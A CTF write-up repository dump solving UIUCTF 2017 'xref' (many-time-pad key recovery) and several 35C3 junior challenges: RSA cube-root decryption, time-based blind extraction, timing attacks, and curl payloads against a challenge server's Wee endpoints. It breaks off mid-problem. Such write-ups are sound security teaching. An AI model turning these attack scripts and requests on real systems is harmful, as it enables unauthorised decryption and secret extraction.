├── 2017
└── UIUCTF
│ ├── README.md
│ ├── backtrack.py
│ ├── decrypt.py
│ └── xref.zip
├── 2018
└── 35C3-junior
│ ├── .README.md.swp
│ ├── .weeterpreter.ts.swp
│ ├── README.md
│ ├── db_secret.py
│ ├── devnull.py
│ ├── flags.png
│ ├── linear-server.py
│ ├── linear-surveillance.pcap
│ ├── linear.py
│ ├── logged_in.py
│ ├── mcdonald.py
│ ├── note.src.tgz
│ ├── note1.png
│ ├── note2.png
│ ├── note3.png
│ ├── note4.png
│ ├── note5.png
│ ├── server.py
│ ├── ultra_secret.tar
│ ├── ultrasecret.py
│ └── weeterpreter.ts
└── README.md
/2017/UIUCTF/README.md:
--------------------------------------------------------------------------------
1 | # xref - 300 points
2 |
3 | * **Cryptography**
4 |
5 | ## Problem
6 |
7 | Eric was working on a reversing challenge last night when his computer was struck by ransomware! Can you decrypt enough of the files to recover the print_flag binary?
8 |
9 | ## Solution
10 | ### Reconnaissance
11 | We are given a zip archive containing a directory with some files:
12 |
13 | ```
14 | Archive: xref.zip
15 | Length Date Time Name
16 | --------- ---------- ----- ----
17 | 0 2017-04-18 16:01 final/
18 | 15948 2017-04-18 16:01 final/Archive.zip.xor
19 | 561782 2017-04-18 16:01 final/bae.gif.xor
20 | 719159 2017-04-18 16:01 final/beemovie.whitespace.xor
21 | 173 2017-04-18 16:01 final/decrypt_diary.py.xor
22 | 17312 2017-04-18 16:01 final/diary.ecb.xor
23 | 18015 2017-04-18 16:01 final/fire_meme.jpg.xor
24 | 71549 2017-04-18 16:01 final/lossless_meme.png.xor
25 | 191 2017-04-18 16:01 final/motivational.txt.xor
26 | 8776 2017-04-18 16:01 final/print_flag.xor
27 | 170 2017-04-18 16:01 final/protect_diary.py.xor
28 | 993 2017-04-18 16:01 final/ransomware.py
29 | 595 2017-04-18 16:01 final/README.txt
30 | 19037 2017-04-18 16:01 final/special_meme.jpg.b64.xor
31 | 312855 2017-04-18 16:01 final/wikipedia_fair_use_sample.ogg.xor
32 | --------- -------
33 | 1746555 15 files
34 | ```
35 |
36 | The README file states that all of the files on the hard drive are encrypted using a "perfectly secure one-time pad", and the accompanying ransomware code is also supplied.
37 | Judging from the filename, the print_flag file should print the flag.
38 |
39 | The ransomware encrypts all of the files using the same 'one time pad'.
40 | Reusing a one time pad utterly destroys most of the secrecy that the pad provides, and we can mount a many-time-pad attack against it.
41 |
42 | To do this, we make use of the fact that the same (unknown) pad is xorred with all of the files.
43 | If we know (or guess) even one byte of one file in the directory, we can recover that byte (that is, the byte with the same offset) of *any* of the other files.
44 |
45 | Because any byte has been xorred with the key, we xor the (known or guessed) byte with the result to recover part of the key.
46 | If we xor this part of the key with any of the other files, we recover the plaintext.
47 |
48 | Ideally, we would be able to find the plain version of one of the larger files, which would immediately enable us to decrypt the print_flag file.
49 | The file names seemed to suggest it should be possible to find a copy of one of them somewhere out on the Internet.
50 | However, searching around did not yield any results.
51 | Next up: try to recover the key the hard way.
52 |
53 | ### First part: manual recovery
54 | With a quick custom script we can partly automate the process, providing operations for decrypting a file using the (partly) known key, recovering part of the key using a xorred file and its accompanying plaintext, and adding a few bytes to the key by providing a xorred file and the next few plaintext bytes:
55 | ```python
56 | #!/usr/bin/python2
57 | import sys
58 |
59 |
60 | def main():
61 | otp = open('otp', 'rb').read()
62 | if sys.argv[1] == 'add':
63 | otpw = open('otp', 'ab')
64 | ciphertext = open(sys.argv[2], 'rb').read()
65 | add_plain = sys.argv[3]
66 | for l, r in zip(ciphertext[len(otp):], add_plain):
67 | otpw.write(chr(ord(l) ^ ord(r)))
68 | elif sys.argv[1] == 'set':
69 | otpw = open('otp', 'wb')
70 | ciphertext = open(sys.argv[2], 'rb').read()
71 | plaintext = open(sys.argv[3], 'rb').read()
72 | sys.stderr.write('{} {}\n'.format(len(ciphertext), len(plaintext)))
73 | for l, r in zip(ciphertext, plaintext):
74 | otpw.write(chr(ord(l) ^ ord(r)))
75 | else:
76 | ciphertext = open(sys.argv[1], 'rb').read()
77 | sys.stderr.write('{} {}\n'.format(len(ciphertext), len(otp)))
78 | plaintext = [
79 | chr(ord(l) ^ ord(r))
80 | for l, r in zip(ciphertext, otp)]
81 | sys.stdout.write(''.join(plaintext))
82 |
83 | if __name__ == '__main__':
84 | main()
85 | ```
86 |
87 | The first few bytes could be recovered fairly easily since the jpg and gif files have a static header.
88 | After that, some of the bytes could be manually recoveredby going back and forth between the .txt.xor and py.xor files, each time guessing some of the following bytes by looking at the text and code structure.
89 | After recovering a few words of the motivational.txt file, a Google search revealed it to contain the text of a [Twitter post](https://twitter.com/swiftonsecurity/status/530832327870779393) from the challenge author.
90 | Well, almost.
91 | The text had been altered slightly, but having a better idea of what it should look like did speed up the recovery process and easily produced the content of the python files, which could encrypt and decrypt the diary.
92 |
93 | ### Second part: automating the process
94 | The python files show that the diary has been encrypted using AES in ECB mode:
95 | ```python
96 | from Crypto.Cipher import AES
97 | c=AES.new('theymustnevrknow',AES.MODE_ECB)
98 | d=open('diary.txt','r').read()
99 | d=d+"i"*(16-len(d)%16)
100 | open('diary.ecb','wb').write(c.encrypt(d))
101 | ```
102 | This can be used to automate the decryption process, combined with the following file properties:
103 | - `beemovie.whitespace.xor` only contains whitespace characters: `0x20`, `0x09`, and `0x0a0d`
104 | - `special_meme.jpg.b64.xor` only contains base64 characters: `[a-zA-Z0-9+/]`
105 | - `diary.ecb.xor` contains plaintext ascii characters encrypted in 16-byte blocks
106 | So the key could be recovered using the following code:
107 |
108 | ```python
109 | #!/usr/bin/python3
110 | import string
111 |
112 | from Crypto.Cipher import AES
113 |
114 | DICT = [[0x20], [0x09], [0x0a, 0x0d]]
115 | BEE = open('beemovie.whitespace.xor', 'rb').read()
116 | B64 = open('special_meme.jpg.b64.xor', 'rb').read()
117 | DIARY = open('diary.ecb.xor', 'rb').read()
118 | B64_DICT = set(str.encode(string.ascii_letters + string.digits + '+/'))
119 | DIARY_DICT = set(str.encode(string.printable))
120 | DIARY_DICT_STRICT = set(open('diary_d.txt', 'rb').read())
121 | CIPHER = AES.new('theymustnevrknow', AES.MODE_ECB)
122 | OTP = open('otp', 'rb').read()
123 |
124 |
125 | def valid_diary(otp_bytes, base_pos):
126 | remainder = len(OTP) % 16
127 | otp = OTP[:len(OTP)-remainder] + otp_bytes[:16]
128 | result = bytes([
129 | c1 ^ c2
130 | for c1, c2 in zip(DIARY, otp)])
131 | data = CIPHER.decrypt(result)
132 | #if all([char in DIARY_DICT for char in data[-16:]]):
133 | if all([char in DIARY_DICT_STRICT for char in data[-16:]]):
134 | print(data)
135 | return True
136 | return False
137 |
138 |
139 | def valid_b64_byte(otp_byte, pos):
140 | return otp_byte ^ B64[pos] in B64_DICT
141 |
142 |
143 | def backtrack(cur_bytes, base_pos):
144 | if len(cur_bytes) >= 16:
145 | if valid_diary(cur_bytes, base_pos):
146 | yield cur_bytes
147 | return
148 | else:
149 | return
150 |
151 | for chars in DICT:
152 | valid = True
153 | new_bytes = cur_bytes
154 | for char in chars:
155 | pos = base_pos+len(new_bytes)
156 | new_bytes += (BEE[pos] ^ char).to_bytes(1, byteorder='big')
157 | if not valid_b64_byte(new_bytes[-1], pos):
158 | valid = False
159 | if valid:
160 | for result in backtrack(new_bytes, base_pos):
161 | yield result
162 |
163 |
164 | def main():
165 | global OTP
166 | pos = 0
167 | while pos < min([len(BEE), len(B64), len(DIARY)]):
168 | remainder = len(OTP) % 16
169 | results = [
170 | next(backtrack(OTP[len(OTP)-remainder:], len(OTP)-remainder))]
171 | OTP += results[0][remainder:]
172 | print('len otp ', len(OTP))
173 | open('otp_calculated', 'wb').write(OTP)
174 |
175 |
176 | if __name__ == '__main__':
177 | main()
178 | ```
179 | When some more bits of the key were decrypted this way, it was possible to extract low-res versions of some of the images.
180 | After repairing those using Imagemagick convert, and throwing them at Google image search, the original ones were revealed - all from the Twitter timeline of the challenge author.
181 | However, the images seemed to be re-encoded and thus useless for speeding up key recovery.
182 | After running the code for an hour or so, enough bytes of the key were recovered to be able to decrypt the print_flag file.
183 |
184 | ### Finally, success and some disappointment
185 | I only had a 32-bit virtual machine at the time, and the binary was 64 bits.
186 | After downloading and installing a 64-bit VM and running the binary, the key was recovered:
187 |
188 | ```
189 | This crib drag is treacherous.
190 | flag{n0th1_saf3_i5_w0rth_th3_dr1ve}
191 | ```
192 |
193 | Unfortunately, I did not manage to submit the flag since the CTF time limit was reached just when I had managed to install the new VM :-/
194 |
--------------------------------------------------------------------------------
/2017/UIUCTF/backtrack.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | import string
3 |
4 | from Crypto.Cipher import AES
5 |
6 | DICT = [[0x20], [0x09], [0x0a, 0x0d]]
7 | BEE = open('beemovie.whitespace.xor', 'rb').read()
8 | B64 = open('special_meme.jpg.b64.xor', 'rb').read()
9 | DIARY = open('diary.ecb.xor', 'rb').read()
10 | B64_DICT = set(str.encode(string.ascii_letters + string.digits + '+/'))
11 | DIARY_DICT = set(str.encode(string.printable))
12 | DIARY_DICT_STRICT = set(open('diary_d.txt', 'rb').read())
13 | CIPHER = AES.new('theymustnevrknow', AES.MODE_ECB)
14 | OTP = open('otp', 'rb').read()
15 |
16 |
17 | def valid_diary(otp_bytes, base_pos):
18 | remainder = len(OTP) % 16
19 | otp = OTP[:len(OTP)-remainder] + otp_bytes[:16]
20 | result = bytes([
21 | c1 ^ c2
22 | for c1, c2 in zip(DIARY, otp)])
23 | data = CIPHER.decrypt(result)
24 | if all([char in DIARY_DICT_STRICT for char in data[-16:]]):
25 | print(data)
26 | return True
27 | return False
28 |
29 |
30 | def valid_b64_byte(otp_byte, pos):
31 | return otp_byte ^ B64[pos] in B64_DICT
32 |
33 |
34 | def backtrack(cur_bytes, base_pos):
35 | if len(cur_bytes) >= 16:
36 | if valid_diary(cur_bytes, base_pos):
37 | yield cur_bytes
38 | return
39 | else:
40 | return
41 |
42 | for chars in DICT:
43 | valid = True
44 | new_bytes = cur_bytes
45 | for char in chars:
46 | pos = base_pos+len(new_bytes)
47 | new_bytes += (BEE[pos] ^ char).to_bytes(1, byteorder='big')
48 | if not valid_b64_byte(new_bytes[-1], pos):
49 | valid = False
50 | if valid:
51 | for result in backtrack(new_bytes, base_pos):
52 | yield result
53 |
54 |
55 | def main():
56 | global OTP
57 | pos = 0
58 | while pos < min([len(BEE), len(B64), len(DIARY)]):
59 | remainder = len(OTP) % 16
60 | results = [
61 | next(backtrack(OTP[len(OTP)-remainder:], len(OTP)-remainder))]
62 | OTP += results[0][remainder:]
63 | print('len otp ', len(OTP))
64 | open('otp_calculated', 'wb').write(OTP)
65 |
66 |
67 | if __name__ == '__main__':
68 | main()
69 |
--------------------------------------------------------------------------------
/2017/UIUCTF/decrypt.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2
2 | import sys
3 |
4 |
5 | def main():
6 | otp = open('otp', 'rb').read()
7 | if sys.argv[1] == 'add':
8 | otpw = open('otp', 'ab')
9 | ciphertext = open(sys.argv[2], 'rb').read()
10 | add_plain = sys.argv[3]
11 | for l, r in zip(ciphertext[len(otp):], add_plain):
12 | otpw.write(chr(ord(l) ^ ord(r)))
13 | elif sys.argv[1] == 'set':
14 | otpw = open('otp', 'wb')
15 | ciphertext = open(sys.argv[2], 'rb').read()
16 | plaintext = open(sys.argv[3], 'rb').read()
17 | sys.stderr.write('{} {}\n'.format(len(ciphertext), len(plaintext)))
18 | for l, r in zip(ciphertext, plaintext):
19 | otpw.write(chr(ord(l) ^ ord(r)))
20 | else:
21 | ciphertext = open(sys.argv[1], 'rb').read()
22 | sys.stderr.write('{} {}\n'.format(len(ciphertext), len(otp)))
23 | plaintext = [
24 | chr(ord(l) ^ ord(r))
25 | for l, r in zip(ciphertext, otp)]
26 | sys.stdout.write(''.join(plaintext))
27 |
28 |
29 | if __name__ == '__main__':
30 | main()
31 |
--------------------------------------------------------------------------------
/2017/UIUCTF/xref.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2017/UIUCTF/xref.zip
--------------------------------------------------------------------------------
/2018/35C3-junior/.README.md.swp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/.README.md.swp
--------------------------------------------------------------------------------
/2018/35C3-junior/.weeterpreter.ts.swp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/.weeterpreter.ts.swp
--------------------------------------------------------------------------------
/2018/35C3-junior/README.md:
--------------------------------------------------------------------------------
1 | Wee
2 | ===
3 | A lot of the challenges in the junior CTF were based on a modified platform for the Wee programming language, which had been broken in many ways
4 |
5 | Wee description
6 | ---------------
7 |
8 | Good coders should learn one new language every year.
9 |
10 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV).
11 |
12 | If you have not picked up a new challenge in 2018, you're in for a treat.
13 |
14 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point.
15 |
16 | Some cool Projects can be created in Wee, like: [this](https://paperbots.io/project.html?id=URJgCh), [this](https://paperbots.io/project.html?id=kpyyrl) and [that](https://paperbots.io/project.html?id=F53thj).
17 |
18 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py.
19 |
20 | Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics [paperbot github](https://github.com/badlogic/paperbots) (mirrored up to this commit [here](https://github.com/domenukk/paperbots/)).
21 |
22 | We even added new features to this better server, like server-side Wee evaluation!
23 |
24 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about.
25 |
26 |
27 | Solved Challenges
28 | =================
29 | Below are the challenges that I personally solved:
30 |
31 | Decrypted - 80 points
32 | ---------------------
33 |
34 | * **Cryptography**
35 |
36 | # Problem
37 |
38 | Solves: 70
39 |
40 | Did you know server-side Wee will supports a variety of crypto operations in the future? How else could Wee ever catch up to other short-named languages like Go or all the Cs? Anyway it's still in testing. If you already want to take it for a spin, try /wee/encryptiontest.
41 |
42 | http://35.207.189.79/
43 |
44 | Difficulty Estimate: Medium
45 |
46 | # Solution
47 |
48 | OK, so let's connect to this endpoint and see what it returns:
49 |
50 | ```bash
51 | $ curl http://35.207.189.79/wee/encryptiontest
52 | ```
53 | ```json
54 | {"enc":"650802889626540392576254226480769958677174063746262298961949406725587937603370598056914641680440287141866554424868358513810586735136666559905873773370795301824775736764582520414393058823900835653671443326759384479590622850329114068561701339992264327486363426970702107667234446480134526246514585103292832378240690398119481568246551291749012927947948046185733533974179911092159848587\n"}
55 | ```
56 | So we have an encrypted ciphertext (numeric). Let's inspect the relevant code (in [server.py](server.py):
57 |
58 | ```
59 | record pubkey
60 | n: string
61 | e: string
62 | end
63 |
64 | var key = pubkey('951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809', '3')
65 |
66 | fun encrypt(message: string, key: pubkey): string
67 | return bigModPow(strToBig(message), key.e, key.n)
68 | end
69 | ```
70 |
71 | Notice the ciphertext is a relatively small number as compared to n, as seen in the pubkey. The exponent (3) is also small. Since the plaintext is encrypted RSA-style E = M³ (mod N) and the encrypted text size (probably) has not surpassed the size of N, we can simply compute the third-power root of the ciphertext to get the plaintext.
72 |
73 | Googled a python script for computing the kth power root of a number:
74 | ```python
75 | def iroot(k, n):
76 | hi = 1
77 | while pow(hi, k) < n:
78 | hi *= 2
79 | lo = hi / 2
80 | while hi - lo > 1:
81 | mid = (lo + hi) // 2
82 | midToK = pow(mid, k)
83 | if midToK < n:
84 | lo = mid
85 | elif n < midToK:
86 | hi = mid
87 | else:
88 | return mid
89 | if pow(hi, k) == n:
90 | return hi
91 | else:
92 | return lo
93 | ```
94 |
95 | ```python
96 | iroot(3,650802889626540392576254226480769958677174063746262298961949406725587937603370598056914641680440287141866554424868358513810586735136666559905873773370795301824775736764582520414393058823900835653671443326759384479590622850329114068561701339992264327486363426970702107667234446480134526246514585103292832378240690398119481568246551291749012927947948046185733533974179911092159848587)
97 |
98 | 8665956223801194705910664403122110405720001050525470730432277700963464398434592579641823005644197683478657391968391208645510483L
99 |
100 | '{:x}'.format(8665956223801194705910664403122110405720001050525470730432277700963464398434592579641823005644197683478657391968391208645510483).decode('hex')
101 |
102 | '35C3_OUR_CRYPTO_IS_AS_LEGIT_AS_MOST_CRYPTO_CURRENCIES'
103 | ```
104 |
105 | pretty\_linear - 158 points
106 | ---------------------
107 |
108 | * **Cryptography**
109 |
110 | # Problem
111 |
112 | Solves: 28
113 |
114 | The NSA gave us these packets, they said it should be just enough to break this crypto.
115 |
116 | surveillance.pcap server.py
117 |
118 | Difficulty estimate: Medium-Hard
119 |
120 | [linear-server.py](linear-server.py)
121 | [linear-surveillance.pcap](linear-surveillance.pcap)
122 |
123 | # Solution
124 |
125 | TODO
126 |
127 | ```bash
128 | for stream in `tshark -r linear-surveillance.pcap -T fields -e tcp.stream | sort -n | uniq`; do echo $stream; tshark -r linear-surveillance.pcap -Y usb -z follow,tcp,ascii,$stream >$stream.ascii; done
129 | ```
130 |
131 | [linear.py](linear.py)
132 |
133 |
134 | /dev/null - 116 points
135 | ----------------------
136 |
137 | * **Miscellaneous**
138 |
139 | # Problem
140 |
141 | Solves: 42
142 |
143 | We're not the first but definitely the latest to offer dev-null-as-a-service. Pretty sure we're also the first to offer Wee-piped-to-dev-null-as-a-service[WPtDNaaS]. (We don't pipe anything, but the users don't care). This service is more useful than most blockchains (old joke, we know). Anyway this novel endpoint takes input at /wee/dev/null and returns nothing.
144 |
145 | http://35.207.189.79/
146 |
147 | Difficulty Estimate: Hard
148 |
149 | # Solution
150 |
151 | The relevant code (from [server.py](server.py):
152 | ```python
153 | @app.route("/wee/dev/null", methods=["POST"])
154 | def dev_null():
155 | json = request.get_json(force=True)
156 | wee = json["code"]
157 | wee = """
158 | var DEV_NULL: string = '{}'
159 | {}
160 | """.format(DEV_NULL, wee)
161 | _ = runwee(wee)
162 | return "GONE"
163 | ```
164 | The API endpoint will kindly evaluate any given Wee code, but it will not show any output. A variable DEV\_NULL is defined, which holds the flag. In this case we can use an approach similar to time-based blind sql injection: force a binary decision, and pause for some time when the condition holds.
165 | Looking through the Wee language, we see that we can compare single characters (not strings), get a single character from a string, and pause for a number of seconds. This is enough to apply this technique. After some fiddling around, the following request seems to work (we know the flag will start with 35C3, so the first character is a 3):
166 | ```bash
167 | curl -v http://35.207.189.79/wee/dev/null -H "Content-Type: application/json" --data '{"code": "if \"3\" == charAt(DEV_NULL,0) then pause(1000) end"}'
168 | ```
169 |
170 | Now we can create a script that tries all characters this way and measures the response time to find the flag:
171 | [devnull](devnull.py)
172 |
173 | After a bit of a wait, the flag falls out:
174 | ```
175 | 35C3_TH3_SUN_IS_TH3_SAM3_YOU_RE_OLDER
176 | ```
177 |
178 | Conversion Error - 87 points
179 | ----------------------------
180 |
181 | * **Miscellaneous**
182 |
183 | # Problem
184 |
185 | Solves: 63
186 |
187 | With assert\_string(str: string), we assert that our VM properly handles conversions. So far we never triggered the assertion and are certain it's impossible.
188 |
189 | http://35.207.189.79/
190 |
191 | Difficulty estimate: Medium
192 |
193 | # Solution
194 |
195 | The relevant code (from [weeterpreter.ts](weeterpreter.ts)):
196 | ```
197 | externals.addFunction(
198 | "assert_conversion",
199 | [{name: "str", type: compiler.StringType}], compiler.StringType,
200 | false,
201 | (str: string) => str.length === +str + "".length || !/^[1-9]+(\.[1-9]+)?$/.test(str)
202 | ? "Convert to Pastafarianism" : flags.CONVERSION_ERROR
203 | )
204 | ```
205 | Hmm, seems like there is a pattern there that specifically checks for one or more numbers, optinally followed one or more times by a dot and another number. Let's try calling the code with a string matching the pattern (using the /wee/run endpoint) and logging the result:
206 |
207 | ```bash
208 | curl http://35.207.189.79/wee/run -H "Content-Type: application/json" --data '{"code": "alert(assert_conversion(\"1.1\"))"}'
209 | ```
210 | And voila, bingo already:
211 | ```json
212 | {"code":"alert(assert_conversion(\"1.1\"))","result":"35C3_FLOATING_POINT_PROBLEMS_I_FEEL_B4D_FOR_YOU_SON\n"}
213 | ```
214 | I didn't spend time to figure out exactly why it worked. It might have something to do with floating point approximation.
215 |
216 |
217 | Equality Error - 88 points
218 | --------------------------
219 |
220 | * **Miscellaneous**
221 |
222 | # Problem
223 |
224 | Solves: 62
225 |
226 | At assert\_equals(num: number), we've added an assert to make sure our VM properly handles equality. With only a few basic types, it's impossible to mess this one up, so the assertion has never been triggered. In case you do by accident, please report the output.
227 |
228 | http://35.207.189.79/
229 |
230 | Difficulty estimate: Medium
231 |
232 | # Solution
233 |
234 | The relevant code (from [weeterpreter.ts](weeterpreter.ts)):
235 | ```
236 | externals.addFunction(
237 | "assert_equals",
238 | [{name: "num", type: compiler.NumberType}], compiler.StringType,
239 | false,
240 | (num: number) => num === num
241 | ? "EQUALITY WORKS" : flags.EQUALITY_ERROR
242 | )
243 | ```
244 | So we have to call the assert\_equals function with something other than a number. Since Wee is statically typed, this is not trivial.
245 | However, we can try to find a function that should return a number, but cannot do that in all instances, such as the sqrt function.
246 | Since a root of a negative number does not exists, it will return NaN (I did not find out to instantiate NaN directly):
247 | ```bash
248 | curl http://35.207.189.79/wee/run -H "Content-Type: application/json" --data '{"code": "alert(assert_equals(sqrt(-1)))"}'
249 | ```
250 | ```json
251 | {"code":"alert(assert_equals(sqrt(-1)))","result":"35C3_NANNAN_NANNAN_NANNAN_NANNAN_BATM4N\n"}
252 | ```
253 |
254 |
255 | Number Error - 80 points
256 | ------------------------
257 |
258 | * **Miscellaneous**
259 |
260 | # Problem
261 |
262 | Solves: 71
263 |
264 | The function assert\_number(num: number) is merely a debug function for our Wee VM (WeeEm?). It proves additions always work. Just imagine the things that could go wrong if it wouldn't!
265 |
266 | http://35.207.189.79/
267 |
268 | Difficulty estimate: Easy - Medium
269 |
270 | # Solution
271 |
272 | The relevant code (from [weeterpreter.ts](weeterpreter.ts)):
273 | ```
274 | externals.addFunction(
275 | "assert_number",
276 | [{name: "num", type: compiler.NumberType}], compiler.StringType,
277 | false,
278 | (num: number) => !isFinite(num) || isNaN(num) || num !== num + 1
279 | ? "NUMBERS WORK" : flags.NUMBER_ERROR
280 | )
281 | ```
282 | There are some sanity checks on numbers here. Let's simply try to pass a very small number to start out:
283 | ```bash
284 | curl http://35.207.189.79/wee/run -H "Content-Type: application/json" --data '{"code": "alert(assert_number(-1221122341214121212))"}'
285 | ```
286 | Oops, already solved:
287 | ```json
288 | {"code":"alert(assert_number(-1221122341214121212))","result":"35C3_THE_AMOUNT_OF_INPRECISE_EXCEL_SH33TS\n"}
289 | ```
290 |
291 |
292 | ultra secret - 102 points
293 | -------------------------
294 |
295 | * **Miscellaneous**
296 |
297 | # Problem
298 |
299 | Solves: 50
300 |
301 | This flag is protected by a password stored in a highly sohpisticated chain of hashes. Can you capture it nevertheless? We are certain the password consists of lowercase alphanumerical characters only.
302 |
303 | nc 35.207.158.95 1337
304 |
305 | Source
306 |
307 | Difficulty estimate: Easy
308 |
309 | # Solution
310 |
311 | [ultrasecret.py](ultrasecret.py)
312 | ```
313 | (20.685096740722656, '10e004c2e186b4d280fad7f36e779e0 ', b'')
314 | (20.68368148803711, '10e004c2e186b4d280fad7f36e779e1 ', b'')
315 | (20.684008836746216, '10e004c2e186b4d280fad7f36e779e2 ', b'')
316 | (20.684692859649658, '10e004c2e186b4d280fad7f36e779e3 ', b'')
317 | (20.68476915359497, '10e004c2e186b4d280fad7f36e779e4 ', b'')
318 | (20.68247151374817, '10e004c2e186b4d280fad7f36e779e5 ', b'')
319 | (20.684102773666382, '10e004c2e186b4d280fad7f36e779e6 ', b'')
320 | (20.683815956115723, '10e004c2e186b4d280fad7f36e779e7 ', b'')
321 | (20.68332600593567, '10e004c2e186b4d280fad7f36e779e8 ', b'')
322 | (20.683207273483276, '10e004c2e186b4d280fad7f36e779e9 ', b'')
323 | (20.684966325759888, '10e004c2e186b4d280fad7f36e779ea ', b'')
324 | (20.684995651245117, '10e004c2e186b4d280fad7f36e779eb ', b'')
325 | (20.684818267822266, '10e004c2e186b4d280fad7f36e779ec ', b'')
326 | (21.35000514984131, '10e004c2e186b4d280fad7f36e779ed ', b'')
327 | (20.684263706207275, '10e004c2e186b4d280fad7f36e779ee ', b'')
328 | (20.684320211410522, '10e004c2e186b4d280fad7f36e779ef ', b'')
329 | 10e004c2e186b4d280fad7f36e779ed
330 | (21.349497079849243, '10e004c2e186b4d280fad7f36e779ed0', b'')
331 | (21.350265741348267, '10e004c2e186b4d280fad7f36e779ed1', b'')
332 | (21.35055160522461, '10e004c2e186b4d280fad7f36e779ed2', b'')
333 | (21.3499972820282, '10e004c2e186b4d280fad7f36e779ed3', b'')
334 | (21.349507331848145, '10e004c2e186b4d280fad7f36e779ed4', b'35C3_timing_attacks_are_fun!_:)\n')
335 | (21.35212254524231, '10e004c2e186b4d280fad7f36e779ed5', b'')
336 | (21.352282762527466, '10e004c2e186b4d280fad7f36e779ed6', b'')
337 | (21.350053548812866, '10e004c2e186b4d280fad7f36e779ed7', b'')
338 | (21.352192640304565, '10e004c2e186b4d280fad7f36e779ed8', b'')
339 | (21.350988149642944, '10e004c2e186b4d280fad7f36e779ed9', b'')
340 | (21.35246443748474, '10e004c2e186b4d280fad7f36e779eda', b'')
341 | (21.35115146636963, '10e004c2e186b4d280fad7f36e779edb', b'')
342 | (21.350448608398438, '10e004c2e186b4d280fad7f36e779edc', b'')
343 | (21.3508939743042, '10e004c2e186b4d280fad7f36e779edd', b'')
344 | (21.35137104988098, '10e004c2e186b4d280fad7f36e779ede', b'')
345 | (21.353375911712646, '10e004c2e186b4d280fad7f36e779edf', b'')
346 | ```
347 |
348 |
349 | Wee R Leet - 75 points
350 | ----------------------
351 |
352 | * **Miscellaneous**
353 |
354 | # Problem
355 |
356 | Solves: 78
357 |
358 | Somebody forgot a useless assert function in the interpreter somewhere. In our agile development lifecycle somebody added the function early on to prove it's possible. Wev've only heared stories but apparently you can trigger it from Wee and it behaves differently for some "leet" input(?) What a joker. We will address this issue over the next few sprints. Hopefully it doesn't do any harm in the meantime.
359 |
360 | http://35.207.189.79/
361 |
362 | Difficulty estimate: Easy
363 |
364 | # Solution
365 |
366 | ```bash
367 | curl http://35.207.189.79/wee/run -H "Content-Type: application/json" --data '{"code": "alert(assert_leet(4919))"}'
368 | ```
369 | ```json
370 | {"code":"alert(assert_leet(4919))","result":"35C3_HELLO_WEE_LI77LE_WORLD\n"}
371 | ```
372 |
373 |
374 | Wee Token - 97 points
375 | ---------------------
376 |
377 | * **Miscellaneous**
378 |
379 | # Problem
380 |
381 | Solves: 54
382 |
383 | We _need_ to make sure strings in Wee are also strings in our runtime. Apparently attackers got around this and actively exploit us! We do not know how. Calling out to haxxor1, brocrowd, kobold.io,...: if anybody can show us how they did it, please, please please submit us the token the VM will produce. We added the function assert_string(str: string) for your convenience. You might get rich - or not. It depends a bit on how we feel like and if you reach our technical support or just 1st level. Anyway: this is a call to arms and a desperate request, that, we think, is usually called Bugs-Bunny-Program... or something? Happy hacking.
384 |
385 | http://35.207.189.79/
386 |
387 | Difficulty estimate: Easy
388 |
389 | # Solution
390 |
391 | ```bash
392 | curl http://35.207.189.79/wee/run -H "Content-Type: application/json" --data '{"code": "alert(assert_string(eval(\"\")))"}'
393 | ```
394 | ```json
395 | {"code":"alert(assert_string(eval(\"\")))","result":"35C3_WEE_IS_TINY_AND_SO_CONFU5ED\n"}
396 | ```
397 |
398 |
399 | DB Secret - 89 points
400 | ---------------------
401 |
402 | * **Web**
403 |
404 | # Problem
405 |
406 | Solves: 61
407 |
408 | To enable secure microservices (or whatever, we don't know yet) over Wee in the future, we created a specific DB_SECRET, only known to us. This token is super important and extremely secret, hence the name. The only way an attacker could get hold of it is to serve good booze to the admins. Pretty sure it's otherwise well protected on our secure server.
409 |
410 | http://35.207.189.79/
411 |
